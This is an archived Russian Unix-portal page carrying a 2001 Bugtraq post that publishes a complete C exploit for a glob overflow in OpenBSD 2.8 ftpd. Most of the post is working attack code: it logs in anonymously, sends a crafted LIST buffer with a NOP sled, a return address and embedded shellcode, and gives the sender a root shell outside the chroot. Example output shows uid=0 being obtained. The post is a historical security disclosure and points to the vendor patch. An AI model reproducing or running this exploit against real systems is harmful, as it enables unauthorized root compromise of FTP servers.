The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

OpenBSD 2.8 ftpd/glob exploit (breaks chroot)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 16 Apr 2001 15:50:50 +0200
From: Tomas Kindahl <stok@CODEFACTORY.SE>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: OpenBSD 2.8 ftpd/glob exploit (breaks chroot)

I thought I'd wait till after the weekend before posting this. Here goes:

/*
OpenBSD 2.x - 2.8 ftpd exploit.
  It is possible to exploit an anonymous ftp without write permission
  under certain circumstances. One is most likely to succeed if there
  is a single directory somewhere with more than 16 characters in its
  name.
  Of course, if one has write permissions, one could easily create
  such a directory.
  My return values aren't that good. Find your own.
  Patch is available at http://www.openbsd.org/errata.html
Example:
  ftp> pwd
  257 "/test" is current directory.
  ftp> dir
  229 Entering Extended Passive Mode (|||12574|)
  150 Opening ASCII mode data connection for '/bin/ls'.
  total 2
  drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
  226 Transfer complete.
.....
  $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
  // 230 Guest login ok, access restrictions apply.
  // 250 CWD command successful.
  retaddr = dfbeb970
  Press enter..
  remember to remove the "adfa"-dir
  id
  uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
The shellcode basically does:
  seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
  chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
    chdir("..");
  chroot(".."); execve("/bin//sh", ..);
Credits:
  COVERT for their advisory.
  The OpenBSD devteam for a great OS.
  beercan for letting me test this on his OpenBSD 2.8-RELEASE
Author:
  Tomas Kindahl <stok@codefactory.se>
  Stok@{irc,ef}net
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

extern char *optarg;
static int debug;
int cflag, lflag, sflag;

/* The execve-part was stolen from "predator" */
char shellcode[] =
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x58\x50\x66\x68\x2e\x2e\x89\xe1"
"\x50\x51\x50\xb0\x05\xcd\x80\x89"
"\xc3\x58\x50\x68\x61\x64\x66\x61"
"\x89\xe2\x66\x68\x6d\x01\x52\x50"
"\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
"\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
"\x80\x51\x50\x31\xc9\xb1\x64\xb0"
"\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x50\x54\x53\xb0\x3b\x50"
"\xcd\x80\xc3";

#define USER "USER ftp\r\n"
#define PASS "PASS -user@\r\n"

void usage(const char *);
void docmd(int s, const char *cmd, int print);
void communicate(int s);

int main(int argc, char *argv[])
{
  char expbuf[512] = "LIST ", *basedir, option;
  char commandbuf[512] = "", *hostname;
  int cnt, dirlen, explen, sendlen;
  int s, port = 21, pad;
  long retaddr;
  struct sockaddr_in sin;
  struct hostent *he;

  while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
    switch(option)
      {
      case 'd':
        debug++;
        break;
      case 'c':
        cflag = 1;
        basedir = optarg;
        break;
      case 'l':
        lflag = 1;
        dirlen = atoi(optarg);
        if(dirlen < 16)
          {
            usage(argv[0]);
            exit(0);
          }
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 's':
        sflag = 1;
        retaddr = strtoul(optarg, 0, 0);
        break;
      default:
        usage(argv[0]);
        exit(0);
      }

  if(!cflag || !lflag)
    {
      usage(argv[0]);
      exit(0);
    }

  if(argc - optind == 1)
    hostname = argv[optind];
  else
    {
      usage(argv[0]);
      exit(0);
    }

  if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      exit(1);
    }

  if((he = gethostbyname(hostname)) == NULL)
    {
      herror(hostname);
      exit(0);
    }
  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
  if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      exit(0);
    }

  if(debug)
    fprintf(stderr, "// basedir = \"%s\"\n", basedir);

  /* "untrusted input"? */
  for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
    strcat(expbuf, "*/../");
  strcat(expbuf, "*/");
  if(debug)
    fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);

  explen = cnt*(dirlen+4) + dirlen + 1;
  if(debug)
    fprintf(stderr, "// explen = %d\n", explen);

  sendlen = strlen(expbuf);
  if(debug)
    fprintf(stderr, "// sendlen = %d\n", sendlen);

  docmd(s, "", 0);

  docmd(s, USER, 0);
  docmd(s, PASS, 1);

  snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
  docmd(s, commandbuf, 1);


/*************************/

  pad = 1027 - explen;
  if(debug)
    fprintf(stderr, "// pad = %d\n", pad);

  for(; pad >= 0; pad--)
    strcat(expbuf, "x");

  /* return address */
  if(!sflag)
    {
      switch(dirlen)
        {
        case 16:
          retaddr = 0xdfbeab60;
        case 26:
          retaddr = 0xdfbefe40;
        default:
          /* I don't have the patience to investigate this. */
          retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
        }
      retaddr+=20;
    }

  fprintf(stderr, "retaddr = %.8lx\n", retaddr);
  /* endian dependant */
  strncat(expbuf, (char *) &retaddr, 4);

  for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
    strcat(expbuf, "\x90");

  strcat(expbuf, shellcode);

  strcat(expbuf, "\r\n");
/*************************/

  fprintf(stderr, "Press enter.."); fflush(stderr);
  fgets(commandbuf, sizeof(commandbuf)-1, stdin);

  docmd(s, expbuf, 0);

  fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
  communicate(s);

  return 0;
}

void usage(const char *s)
{
  fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
}

void docmd(int s, const char *cmd, int print)
{
  char uglybuf[1024];
  int len;
  fd_set rfds;
  struct timeval tv;

  len = strlen(cmd);
  if(debug)
    {
      write(STDERR_FILENO, "\\\\ ", 3);
      write(STDERR_FILENO, cmd, len);
    }
  if(send(s, cmd, len, 0) != len)
    {
      perror("send");
      exit(0);
    }

  FD_ZERO(&rfds);
  FD_SET(s, &rfds);
  tv.tv_sec = 1;
  tv.tv_usec = 0;
  select(s+1, &rfds, NULL, NULL, &tv);
  if(FD_ISSET(s, &rfds))
    {
      if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
        {
          perror("recv");
          exit(0);
        }
      if(len == 0)
        {
          fprintf(stderr, "EOF on socket. Sorry.\n");
          exit(0);
        }
      if(debug || print)
        {
          write(STDERR_FILENO, "// ", 3);
          write(STDERR_FILENO, uglybuf, len);
        }
    }
}

void communicate(int s)
{
  char buf[1024];
  int len;
  fd_set rfds;

  while(1)
    {
      FD_ZERO(&rfds);
      FD_SET(STDIN_FILENO, &rfds);
      FD_SET(s, &rfds);
      select(s+1, &rfds, NULL, NULL, NULL);
      if(FD_ISSET(STDIN_FILENO, &rfds))
        {
          if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
            return;
          if(send(s, buf, len, 0) == -1)
            return;
        }
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
            return;
          if(write(STDOUT_FILENO, buf, len) == -1)
            return;
        }
    }
}

--
Tomas Kindahl                    tomas.kindahl@codefactory.se
CodeFactory AB                   http://www.codefactory.se/
Office: +46 (0)90 71 86 13       Cell: +46 (0)73 922 92 30

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.